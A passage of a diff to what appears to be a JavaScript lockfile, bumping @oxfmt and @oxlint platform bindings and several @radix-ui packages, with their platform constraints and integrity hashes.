"sha512-a61ljmRVVyG5MC/698C8/FfFDw5a8LOIvyOLW5fztgUXqUpc1jOfQzOitSCbge657OgXXThmY3Tk8fpiDb4UcA=="], + "@oxfmt/binding-android-arm64": ["@oxfmt/binding-android-arm64@0.65.0", "", { "os": "android", "cpu": "arm64" }, "sha512-6DXH5sftNlaHpWJG50hFMF+Qxtq5D2TmahvcDPxWNcGIf8qrC9Y0YgHYcYZ2hlWzaccKXh/f3GcssH8vtkl4JA=="], - "@orama/stopwords": ["@orama/stopwords@3.1.18", "", {}, "sha512-W8V7m7RnCme+99OmKl/xs5rf6OUhFpr0aPGVmPrXzTLSg4ZqSbRY2euS2S/lgjjYi/0NhEWqwoq8nDY6Ihx4EA=="], + "@oxfmt/binding-darwin-arm64": ["@oxfmt/binding-darwin-arm64@0.65.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-K9m7lr53pcOLETNsC88sWes/GWHUGjZyHx95UhYcSXy0r30haLdeXlSufSenEAtoLaW753WN8/l4M7GYcRt6cg=="], - "@orama/tokenizers": ["@orama/tokenizers@3.1.18", "", { "dependencies": { "@orama/orama": "3.1.18" } }, "sha512-Ra4dFddWZ7hCGPAehnd/6QZjlzQvczYSt1y1Fq4HteJqRu2yvfR6fXvxiUnKi+HIgJYPxKhebJEjvJdF8LYQWg=="], + "@oxfmt/binding-darwin-x64": ["@oxfmt/binding-darwin-x64@0.65.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-sTNwIx1gre3MyiHOPLu7IGW4UyMScYL4DTmJT01p4vzB0En+OJUQz6KuH8t0PpsClRSaMuY3b0QmtoPItfO8Lg=="], - "@oxc-project/types": ["@oxc-project/types@0.137.0", "", {}, "sha512-WT+Gb24i8hmvo85AIv2oEYouEXkRlKAlT9WaCa3TfLgNCN+GhrJOGZuIlMouAh38Qe4QOx26eUOVsq70qXrywA=="], + "@oxfmt/binding-freebsd-x64": ["@oxfmt/binding-freebsd-x64@0.65.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-lYZMVIiIpnjGu5hJb2jxA8NYQ/e0OTGuaiAf4dqlGPNnPmUTu23FZRMltmjro/KkQm1uE4NT4n5yJ2zWmKcpfA=="], - "@oxfmt/binding-android-arm-eabi": ["@oxfmt/binding-android-arm-eabi@0.56.0", "", { "os": "android", "cpu": "arm" }, "sha512-CSCxi7ovYojgfdPOdUb9T508HKeAdDIKeRGg7x8IZwVJrWz9gVgX7MbUnFqtQAE4QvoNo07mj2JlwnOzJw4qqA=="], + "@oxfmt/binding-linux-arm-gnueabihf": ["@oxfmt/binding-linux-arm-gnueabihf@0.65.0", "", { "os": "linux", "cpu": "arm" }, "sha512-gIdXFAt/bURnjxuoedDEWdZ0PEWEmdDcm8qdpoFYYvW3QMk/5D4vUaH4mlMeRpeTdST4izUgHVO6RawQ4QulJw=="], - "@oxfmt/binding-android-arm64": ["@oxfmt/binding-android-arm64@0.56.0", "", { "os": "android", "cpu": "arm64" }, "sha512-HYJFnd+PkDwf6S9ZPGzXXtjNqvRWFnnhdbWaouh4mi/SxU8wmDuzlMn3xo/wDTGnr4Q1VA7ZzOaE/D4biW0W6A=="], + "@oxfmt/binding-linux-arm-musleabihf": ["@oxfmt/binding-linux-arm-musleabihf@0.65.0", "", { "os": "linux", "cpu": "arm" }, "sha512-jJVyADto7gA2AaX5qAjAexrxx9PJQaKWOe8PICE7yKMbjBRyOHcmj9TtVJ+MZYDUQ3hodU0AcoTj0jFQ1W4C6Q=="], - "@oxfmt/binding-darwin-arm64": ["@oxfmt/binding-darwin-arm64@0.56.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-sftR/bEOr+t1gs+evwsHi/Xbq2FAPA2uU3VMr8n6ZU9PoK/IMSfnfu7+OEe/uy1+knhrFl4Wvy7Vkm3uo9mJ7g=="], + "@oxfmt/binding-linux-arm64-gnu": ["@oxfmt/binding-linux-arm64-gnu@0.65.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-p3RFkB+u7u+8up99b/NEcI1hdpLDiGgJYNwDorB60n7eH+eKposAKuMBxx+NqB3b+sJP4CZmYDh9G7X62tUsKg=="], - "@oxfmt/binding-darwin-x64": ["@oxfmt/binding-darwin-x64@0.56.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-z66SdjLqa3MUPKvTp3Mbb5nSjKSbnYxJGeB+Wx987s8T5hPcIRiBMfnJ6zcPgYtQn3x5xjvdzNVkXrSeYH6ZFg=="], + "@oxfmt/binding-linux-arm64-musl": ["@oxfmt/binding-linux-arm64-musl@0.65.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-5Prb0uFzJHr+OUD/qS/TmU526wD+PaHDsm3KoRiUXbMIDpTSErjeQYkK3OQeshAvD/PuLa9WGEi9WPajjdOZJg=="], - "@oxfmt/binding-freebsd-x64": ["@oxfmt/binding-freebsd-x64@0.56.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-t2tkrV1vtZyaItSQ71dTi2ZVKZEI39b/LqLT12V5KMfIeXK6N32TUC1jhOXKVQmhECq9j2ZXMQV3JeT1kh9Vmg=="], + "@oxfmt/binding-linux-ppc64-gnu": ["@oxfmt/binding-linux-ppc64-gnu@0.65.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-S8svxTp81obnF3admN9yd+u2rOYXtyzThLGBTg1PY6TPtGcC09BaaXLQD+TBSMa7yvqhCDZ8DFri+S/yG60qCg=="], - "@oxfmt/binding-linux-arm-gnueabihf": ["@oxfmt/binding-linux-arm-gnueabihf@0.56.0", "", { "os": "linux", "cpu": "arm" }, "sha512-+gCy+Tp3RHeXQ9y/QrS76lXIpZkbziTyp6hIgjB2MssCwfMph3vG/GEfkhO34Rai1vhYIaUkvv8UT1BcDorJPw=="], + "@oxfmt/binding-linux-riscv64-gnu": ["@oxfmt/binding-linux-riscv64-gnu@0.65.0", "", { "os": "linux", "cpu": "none" }, "sha512-WtXBr75G/h2qOHy8SiGtC1R6aS3jt4mE52v1D8AtwMXIgoOmSNP9lKvbSaTRoL0e5wsMPoi6T72QWDYPu+S+nA=="], - "@oxfmt/binding-linux-arm-musleabihf": ["@oxfmt/binding-linux-arm-musleabihf@0.56.0", "", { "os": "linux", "cpu": "arm" }, "sha512-0kKkVvQ2I+FJ2sxQyUu1zJ0yWP5kcWse/yVFnGQSFCXMwSSkfEaUGu0dW774O7nyy3jrcBGap7OSc8dZmU/CdA=="], + "@oxfmt/binding-linux-riscv64-musl": ["@oxfmt/binding-linux-riscv64-musl@0.65.0", "", { "os": "linux", "cpu": "none" }, "sha512-YwSLVvpaz4o/nv/miiPEBJz+eJ+VmbgNIrao6RccK9ce+L5EA8wP+ZD0uFeq6wKOza6zoWv/dR0sj6lip6R3EA=="], - "@oxfmt/binding-linux-arm64-gnu": ["@oxfmt/binding-linux-arm64-gnu@0.56.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-npkA2siMbyWRh+wEhi1aTAx4RirukGcGNt8V4Ch86pG+xU9aurqS1MZOnKYMu03ISwat3rB6zkQx51SsB9obNw=="], + "@oxfmt/binding-linux-s390x-gnu": ["@oxfmt/binding-linux-s390x-gnu@0.65.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-XQTPqgvyrgkKcFq+Tp2eK6JS7sqqJ+nRmy2Fav4j3I+i4dJoPJm7YwEdoeSDX9xkqj9jZ/lWfF3bXUWztIrn6A=="], - "@oxfmt/binding-linux-arm64-musl": ["@oxfmt/binding-linux-arm64-musl@0.56.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-UekqOjGkV4/MkqreCV9SPIB2jlR3/HbXrmhV1rVXJZ9wfDXMyCMriLtq3tHqLY4PkbVWNtfcm1kMojJ26KLSJw=="], + "@oxfmt/binding-linux-x64-gnu": ["@oxfmt/binding-linux-x64-gnu@0.65.0", "", { "os": "linux", "cpu": "x64" }, "sha512-cjZlx6S/VkeCNWCbwZriTnLnZeTcV3DEyeRGSw/2wwLP9viq+C0bJ4bC1k/ZLkFxDcB1lUgSasPkYGP1bdraOg=="], - "@oxfmt/binding-linux-ppc64-gnu": ["@oxfmt/binding-linux-ppc64-gnu@0.56.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-XSzveSpeZMD5XJpew5lRFVtNnT04xd3rJxENXmk7wkZzN9oWzv2aFJyoNDhOtoz69BYaS/fg4SYl+CfEZRpB0Q=="], + "@oxfmt/binding-linux-x64-musl": ["@oxfmt/binding-linux-x64-musl@0.65.0", "", { "os": "linux", "cpu": "x64" }, "sha512-2azCjxdLtK4zCcIOU1dlXlU0xxfbPi6EjwWx7Ac7teWPidIIDOcIhudup83xNCKYhtqeVd/gaVDOxbUq4syXWA=="], - "@oxfmt/binding-linux-riscv64-gnu": ["@oxfmt/binding-linux-riscv64-gnu@0.56.0", "", { "os": "linux", "cpu": "none" }, "sha512-EkQ0nJa7k7HDDIVuPF7WY+k4k+bzdclLYtyIXNt7/OqVghfNiMym6YGppFBgx1XRIHW6QylxBz5OogumPjPJbQ=="], + "@oxfmt/binding-openharmony-arm64": ["@oxfmt/binding-openharmony-arm64@0.65.0", "", { "os": "none", "cpu": "arm64" }, "sha512-KXQ7xi1e/voP0IQaw6fG6XY4Z5+Llf1XmRSZS1t7pVFCecFJ0iXaboKmVwjFtp5MLlT5iWQrJ2U1C3GJdZ2u+Q=="], - "@oxfmt/binding-linux-riscv64-musl": ["@oxfmt/binding-linux-riscv64-musl@0.56.0", "", { "os": "linux", "cpu": "none" }, "sha512-dyjAGW8jKRge0ik6U/dgvQG0nVpA3iBlRskQTz5qJLvQWIrySxX5jpqzPetLBNIIZ231KA82fDdi1nLTk8ENCw=="], + "@oxfmt/binding-win32-arm64-msvc": ["@oxfmt/binding-win32-arm64-msvc@0.65.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-2FbbjG5jEqLSLKVJwBap84uJfpn5Y5A53KEO0aUNr+zeiRB9nyPUIFMcSbZVMFLitfBytFWRNngozXYjb6Rsbw=="], - "@oxfmt/binding-linux-s390x-gnu": ["@oxfmt/binding-linux-s390x-gnu@0.56.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-60ZGH3LtfqlW8X6vcLdSFY4lvCQYINurttYBKaALnHCDVAUCYJ1LsUgS6p1XOzVlzEDx3yNUZvDF1Lvt59zoZw=="], + "@oxfmt/binding-win32-ia32-msvc": ["@oxfmt/binding-win32-ia32-msvc@0.65.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-LJ+ZacAPSjegDOnSLyA1TMWAhdDrsK4el3REdr1oL2UtVBCMhO2II/Sb3cEW6mF2MfLhl8hDNCSvc7KSbgk3LQ=="], - "@oxfmt/binding-linux-x64-gnu": ["@oxfmt/binding-linux-x64-gnu@0.56.0", "", { "os": "linux", "cpu": "x64" }, "sha512-u1suj1tgJHK4ZqB7buCtdbNef2n8+d0lXTPJwLHNmtyK6p+DTpsaoDvmqhQrA56fgKYv4LuRxNtL8YooebKOew=="], + "@oxfmt/binding-win32-x64-msvc": ["@oxfmt/binding-win32-x64-msvc@0.65.0", "", { "os": "win32", "cpu": "x64" }, "sha512-higu9cWEO6XXFzATD1jf0mCK34rNfN2H9JrJie7QB1IhleVpTh0QlLH9Ip2C1H/Nd5n0v5pvRtC+5R0uE4HpVg=="], - "@oxfmt/binding-linux-x64-musl": ["@oxfmt/binding-linux-x64-musl@0.56.0", "", { "os": "linux", "cpu": "x64" }, "sha512-aYGLvlQHt80y+qKEtfJY/Nm27G0125Lv+qyh9SJ4Cjc6lXnXjD+ndfhqQnbV24POpMi7rNRi0jvx/0d70FRpCQ=="], + "@oxlint/binding-android-arm-eabi": ["@oxlint/binding-android-arm-eabi@1.80.0", "", { "os": "android", "cpu": "arm" }, "sha512-RM3Plj+biQpxa5d1GOOX6ciDlcUROmm4OZ/pLTpitkQt2mJv4jhtY4cbgaetOm5UKWZe05/TGQ6o1Vl8EOHkrA=="], - "@oxfmt/binding-openharmony-arm64": ["@oxfmt/binding-openharmony-arm64@0.56.0", "", { "os": "none", "cpu": "arm64" }, "sha512-H/re/gO+7ysVc+kywHNuzY3C33EN9sQcZhg0kp1ZwOZl7y998ZE5mhnBiuGR/nYI0pqLL5xQfrHVUOJ/cIJsCA=="], + "@oxlint/binding-android-arm64": ["@oxlint/binding-android-arm64@1.80.0", "", { "os": "android", "cpu": "arm64" }, "sha512-YlO5JEf0Yr2bUUlu8O8daVcUxtcGGbcSmyV7E7nSbJbfAdxTE0PFPwgnIlw7wXJaTYjb+qs5hI5q3jxUkI7cAw=="], - "@oxfmt/binding-win32-arm64-msvc": ["@oxfmt/binding-win32-arm64-msvc@0.56.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-6qLNXfXmtAs8jXDvYMkxk6Wec5SUJoew+ZX1uOZmqaR7ks0EJFbAohuOCELDyJMWyVlxotVG8Xf8m74Bfq0O2w=="], + "@oxlint/binding-darwin-arm64": ["@oxlint/binding-darwin-arm64@1.80.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-BULDOyO3AhsmdWfQeIUCykDt3dd7XZBGLhp1eIh56skRv01O+cNjNPwXMIbeW1x4+pxcln5if72wcRgViVo7PA=="], - "@oxfmt/binding-win32-ia32-msvc": ["@oxfmt/binding-win32-ia32-msvc@0.56.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-UXEXuKphAe15bsob4AswNMArCw38XSmUIs3wk1s6e6MX9OWGW/IRWU95s1hZDiVg09STy1jHgyN2qkqbu1FT0w=="], + "@oxlint/binding-darwin-x64": ["@oxlint/binding-darwin-x64@1.80.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-YJ4JzLw7N5TDSQFlA0hAQGHvnDZgyypm1yunObVWcWiF9KM7eGCJKYKLgTC2Fi/57OdnBhbj4OkzPGdFQJ6HyA=="], - "@oxfmt/binding-win32-x64-msvc": ["@oxfmt/binding-win32-x64-msvc@0.56.0", "", { "os": "win32", "cpu": "x64" }, "sha512-HPyNDjky+NIOuaMvHZflR+kst3YWdUOH2JUQYkf99grqZ5mEBTQM6h9iGy501Z8Xt5xMScrwHOuVCOlqDrktRw=="], + "@oxlint/binding-freebsd-x64": ["@oxlint/binding-freebsd-x64@1.80.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-AYUIk5QnL0s8oWAYsREZwkRYy1SupJTXALo93J1TgzHywxQtdM99FecRMQ87MXEdPQ0j1TmEpeeq3fGNkpvMqg=="], - "@oxlint/binding-android-arm-eabi": ["@oxlint/binding-android-arm-eabi@1.71.0", "", { "os": "android", "cpu": "arm" }, "sha512-ImGmd1njEg4FEJH03jhRnveEegtO3czCtfptvaHivKAZQIYATbVFBrrzbaYMYv0oJioTnxZAZVSyV+oL7W8S2g=="], + "@oxlint/binding-linux-arm-gnueabihf": ["@oxlint/binding-linux-arm-gnueabihf@1.80.0", "", { "os": "linux", "cpu": "arm" }, "sha512-9hBZVANupQ89W9dXyE0n8doCyaW5pDyGn3y6XlIMPZ+rIKuyqkr3SNUXmVJIhuvUq0NBU3RBiSXXE69l4XI6KA=="], - "@oxlint/binding-android-arm64": ["@oxlint/binding-android-arm64@1.71.0", "", { "os": "android", "cpu": "arm64" }, "sha512-4A5BEexBrwY1YFF8Kiq/lp/wQPRG79G3BWIE1FuWaM5MvmpYSd+7ZySVcKkHdwo0UDzdQGddp6pD9mpctMqLnw=="], + "@oxlint/binding-linux-arm-musleabihf": ["@oxlint/binding-linux-arm-musleabihf@1.80.0", "", { "os": "linux", "cpu": "arm" }, "sha512-SvS2uKqzY+pbfuvAHzH4338R6Zwo805GAwrIMVvK1KxoOWCIjZUdfzTCvilD7z6JK91v011+zYMryabhDo2AsQ=="], - "@oxlint/binding-darwin-arm64": ["@oxlint/binding-darwin-arm64@1.71.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-9wJA9GJulLwS2usU3CEisI/ESDO1n1z9eyTCvApMDrAkbJ1ve0mORgTMjcWWsKxkzkeZ2N/Gpra5IQE7x8tYgQ=="], + "@oxlint/binding-linux-arm64-gnu": ["@oxlint/binding-linux-arm64-gnu@1.80.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-tCLadyqRVL3pQTRPNg7cjXKvcvS4fbyXeQHhKk5BTJ1oftQln5/yIIWbu/Xom/DX41zv2P9QGt6+D/TtQVtY3A=="], - "@oxlint/binding-darwin-x64": ["@oxlint/binding-darwin-x64@1.71.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-PlLCjS06V0PeJMAJwzjrExw1sYNW9Gch3JtNlcwwZDXGlTYDuwHNN89zYH8LTXFfgkVtsYvs2nv0FqrzyuFDzg=="], + "@oxlint/binding-linux-arm64-musl": ["@oxlint/binding-linux-arm64-musl@1.80.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-XfpCNRlOPcLlJl4Bn/FUhjqlR6BVavEykERBf/MV7YA9VZDa5g5znVqYhyviMafcxS9Pe/i/kPvHNO0U6svEHQ=="], - "@oxlint/binding-freebsd-x64": ["@oxlint/binding-freebsd-x64@1.71.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-Lhil7bWre0ncxbUoDoxfS0JzpTz17BRQKW7iwoAUY8GJ66+WwJEfYPCFJ1P0WgVZR5/O/b3Q2pENlHOjeXLOGQ=="], + "@oxlint/binding-linux-ppc64-gnu": ["@oxlint/binding-linux-ppc64-gnu@1.80.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-3I4yMwcFG9NeO8ioY6JBBuKsIm5GL/x7MATt1S4tVWaxPu5HcJ+XnLUbcVBTxG8q2Wu56HSj+NmXQiVYb1lp6A=="], - "@oxlint/binding-linux-arm-gnueabihf": ["@oxlint/binding-linux-arm-gnueabihf@1.71.0", "", { "os": "linux", "cpu": "arm" }, "sha512-Oo9/L58PYD3RC0x05d2upAPLllHytTjHQGsnC06P6Ynn7jKkp5mdImQxXdJ3+FnBaKspNpGogzgVsi6g872LiA=="], + "@oxlint/binding-linux-riscv64-gnu": ["@oxlint/binding-linux-riscv64-gnu@1.80.0", "", { "os": "linux", "cpu": "none" }, "sha512-E1wAKymkpe1/E8helzBKdm81OBOF+ezxRyXRMEuik3ZpWDER5CPOKZwF66RsdwW98uwZv8UTFremUQtC1CzdJA=="], - "@oxlint/binding-linux-arm-musleabihf": ["@oxlint/binding-linux-arm-musleabihf@1.71.0", "", { "os": "linux", "cpu": "arm" }, "sha512-mSHfyfgJrEbyIR29ejaeS50BdPk+GoNPlC1dckpDiUZbJAIel68sjSMdOt4WY0/gva+ECC7FNITQkxMJU+vSBw=="], + "@oxlint/binding-linux-riscv64-musl": ["@oxlint/binding-linux-riscv64-musl@1.80.0", "", { "os": "linux", "cpu": "none" }, "sha512-+gLRGD4sIo3+VA++iham5UxD9tKSoJ/VOrROCEXIcknrYtQg6iIQgvjN0cpiRF7N6UYC7pJbvHJlDnMge5LRpQ=="], - "@oxlint/binding-linux-arm64-gnu": ["@oxlint/binding-linux-arm64-gnu@1.71.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-n9yY4M2tiy3aij4AqtlnspzpfdpeT5JQfK2/w2d8oyp5W0FRwOb1dIeX99nORNcxGr08iD9bH8N5XFz3I2iy8w=="], + "@oxlint/binding-linux-s390x-gnu": ["@oxlint/binding-linux-s390x-gnu@1.80.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-aR0PrzHj9leW3NmzBAAP4EzdoBNoJcs9sjnIQPIwyRnBGYrRbXUIpEB5Q39AqK3PLY5JK5uEhDQDiUa1QSAstw=="], - "@oxlint/binding-linux-arm64-musl": ["@oxlint/binding-linux-arm64-musl@1.71.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-fJZrs5sDZtTaPIOiemRQQmo82Ezy+vOGXemPc4Ok7iVVsYsFa7SlW6Z5XN819VfsqBHRm3NJ3rTdnR8+bJYJdQ=="], + "@oxlint/binding-linux-x64-gnu": ["@oxlint/binding-linux-x64-gnu@1.80.0", "", { "os": "linux", "cpu": "x64" }, "sha512-vSVh5cSo3Xxs6ghBCcFJlpbkbENzDog1qXtoXLa/HC3aCrR4XO76GZbXmQoCPHnu99nQpdCeC3H9tdNICfDh7A=="], - "@oxlint/binding-linux-ppc64-gnu": ["@oxlint/binding-linux-ppc64-gnu@1.71.0", "", { "os": "linux", "cpu": "ppc64" }, "sha512-cwl7VKGERIy9p+G+AvZdfy/06q0aHXaTt/mMRReC751iuNYJgqKjB7NydXSS30nBT9vtr2tunciOtrR4fD6FUA=="], + "@oxlint/binding-linux-x64-musl": ["@oxlint/binding-linux-x64-musl@1.80.0", "", { "os": "linux", "cpu": "x64" }, "sha512-FfzBXpNQ8u7/ZI/p8bl73MeZ508Ax3hxWp3SiJpEFiC+BB9XcXy5FAZHTLKDPSzrUpxQZSZJAVdDmuJp/+HDBQ=="], - "@oxlint/binding-linux-riscv64-gnu": ["@oxlint/binding-linux-riscv64-gnu@1.71.0", "", { "os": "linux", "cpu": "none" }, "sha512-eZ8ieVXvzGi8jr7+ybQGPK2STw3mldfxZlgA2738iflfB/rzA69sE6m5rDRpQaxC7dpm745Enlh1Tod0QAk9Gg=="], + "@oxlint/binding-openharmony-arm64": ["@oxlint/binding-openharmony-arm64@1.80.0", "", { "os": "none", "cpu": "arm64" }, "sha512-zMzbkumtmprCgRwoYNzcB3iC39fXdJIMLMU33KdCjEGLlJGOEt1+LwQ4LF8ndLzAEKVz4BR0y3V6Xrkk3Nm3yA=="], - "@oxlint/binding-linux-riscv64-musl": ["@oxlint/binding-linux-riscv64-musl@1.71.0", "", { "os": "linux", "cpu": "none" }, "sha512-puMDbQYe6+NXwfMusojoA7CXGn2b3utukmd23PQqc1E3XhVCwyZ+FueSMzDYeNgDV2dUfIVXAAKZBcFDeCL6sA=="], + "@oxlint/binding-win32-arm64-msvc": ["@oxlint/binding-win32-arm64-msvc@1.80.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-ib6iRcrXsk4t1fm3iKcwksyWh1ZkZXC/2mEzakl0ai2+6HZunf1WWMZ/xP9EJAvw9g9K4UVTC3NF/+G2qLrbTQ=="], - "@oxlint/binding-linux-s390x-gnu": ["@oxlint/binding-linux-s390x-gnu@1.71.0", "", { "os": "linux", "cpu": "s390x" }, "sha512-4NJLxBs1ujISCt3L/1FcywLs73PWtJuw+piD6feK2V6h6OS6P7xu9/sWt1DTRLibe6QCzmfZzmM/2HPORoV/Lg=="], + "@oxlint/binding-win32-ia32-msvc": ["@oxlint/binding-win32-ia32-msvc@1.80.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-xhRWBMpLxZvgKAH6+DJZmpP+W8Y8UdQOSU1JfxSWNXsaBaRGW77j+1hCuNHlzj7OH4SPN8fYd1q0o2qrDtoVyw=="], - "@oxlint/binding-linux-x64-gnu": ["@oxlint/binding-linux-x64-gnu@1.71.0", "", { "os": "linux", "cpu": "x64" }, "sha512-cFDaiR8L3430qp88tfZnvFlt3KotFhR/DlbIL0nHOMMYiG/9Wy4l+6f7t8G8pTa9bd8Lt8+M0y/qjRQ/xcB74g=="], + "@oxlint/binding-win32-x64-msvc": ["@oxlint/binding-win32-x64-msvc@1.80.0", "", { "os": "win32", "cpu": "x64" }, "sha512-yAnO7lwBYQnz2pcfBPIGQQZWIX5zd5R/1aAKIF3oE+TVj7IhoHcROjOkz3sRDngzqhfPKfFaXqug5j5rE5dn6Q=="], - "@oxlint/binding-linux-x64-musl": ["@oxlint/binding-linux-x64-musl@1.71.0", "", { "os": "linux", "cpu": "x64" }, "sha512-orfixdt76KlpNly9z0PkWBBNfwjKz+JFVLP/7wnVchlKNU9Dpt9InU/ZggeSej6fC7qwHmHNOGlhLnQXcYoGuA=="], + "@radix-ui/number": ["@radix-ui/number@1.1.3", "", {}, "sha512-Road2bidD0uu/1BGDOWNdPI06g0lIRy6IF9GZcIrDK2KGItfor8IQwQa+yM2ERgHM1MmHxaxpTzk0/Jp42lNfA=="], - "@oxlint/binding-openharmony-arm64": ["@oxlint/binding-openharmony-arm64@1.71.0", "", { "os": "none", "cpu": "arm64" }, "sha512-9emQu2lAp6yhPB3XuI+++vR+l/o6JR1X+EpxwcumPdQXBWXEPAsquPGL7l158EqU8SebQMXTUa/S5zN98juyHw=="], + "@radix-ui/primitive": ["@radix-ui/primitive@1.1.7", "", {}, "sha512-rqWnm76nYT8HoNNqEjpgJ7Pw/DrBj5iBTrmEPo6HTX5+VJyBNOqTdv4g89G63HuR5g0AaENoAcH7Is5fF2kZ8Q=="], - "@oxlint/binding-win32-arm64-msvc": ["@oxlint/binding-win32-arm64-msvc@1.71.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-bd5kI8spYwTm3BILDtGhi73zoup5dw8MlPQNT8YB3BD5UIsjNe3K9/4ctrzQMX4SZMoK5HgzVLkLJzacEXB7fA=="], + "@radix-ui/react-accordion": ["@radix-ui/react-accordion@1.2.20", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-collapsible": "1.1.20", "@radix-ui/react-collection": "1.1.15", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-direction": "1.1.4", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-controllable-state": "1.2.6" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-jDhG9FvAEnlhnjrsINbNXcUa4G+L1KqSkJSunkbKEzFRcAb52jvM0PjPxPRvhe1HNc5F5yc0yzzWeeqlH4yBIg=="], - "@oxlint/binding-win32-ia32-msvc": ["@oxlint/binding-win32-ia32-msvc@1.71.0", "", { "os": "win32", "cpu": "ia32" }, "sha512-W4HvOHGzVLHcrmFu+bMrJlho+/yrlX5ZNdJZqGe8MEldkQG+RHYhxxad9P4jvWAYFmIqUA5i9DQ8QsJqSU9GIw=="], + "@radix-ui/react-arrow": ["@radix-ui/react-arrow@1.1.15", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.10" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-v4zggRcjadnI+ClKDuijlQEW4tw3NoaeHc/PwpKnLoLLKNUG4InLegkstooLcRIUWCs+8L22dGURCVuFfOKfnA=="], - "@oxlint/binding-win32-x64-msvc": ["@oxlint/binding-win32-x64-msvc@1.71.0", "", { "os": "win32", "cpu": "x64" }, "sha512-D2kyEIPHk/G/wiZLnwTVC/sVst+T/lKldVOjAFpgTIBUAOlry72e5OiapDbDBF4LfJLkN5ypJb/8Eu6yJzkveQ=="], + "@radix-ui/react-collapsible": ["@radix-ui/react-collapsible@1.1.20", "", { "dependencies": { "@radix-ui/primitive": "1.1.7", "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-presence": "1.1.10", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-use-controllable-state": "1.2.6", "@radix-ui/react-use-layout-effect": "1.1.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-mcGesGplBnzN2sbvJETzpCNfSMyPnb29q1GRLU+Ib7bJrpIG2ywmRoh2V5VbA2uNvKikKUlVbAPks7JDjz4A8Q=="], - "@radix-ui/number": ["@radix-ui/number@1.1.2", "", {}, "sha512-ceTwaxc4I5IOi97DgCotl3pqiyRGvffcc0oOsE2dQYaJOFIDsDt4VWG6xEbg1QePv9QWausCEIppud/tJ1wNig=="], + "@radix-ui/react-collection": ["@radix-ui/react-collection@1.1.15", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.5", "@radix-ui/react-context": "1.2.2", "@radix-ui/react-primitive": "2.1.10", "@radix-ui/react-slot": "1.3.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-9W+B9NPF0NaaPh/1NJd3+KqsnlLqU9H7T2rvww+fp+T/evVXdNAyYcnfRQZFOjkR1ajQp3yORlqnI8soawLvNA=="], - "@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="], + "@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.5", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-+48PbAAbq3didjJxa+OaWY2ZwgAKsNiRGyeHKszblZMQ+kcpd9pAaT11cMkGEie0vsOi3QdeTE6d5Fe3Gn61kA=="], - "@radix-ui/react-accordion": ["@radix-ui/react-accordion@1.2.12", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collapsible": "1.1.12", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", 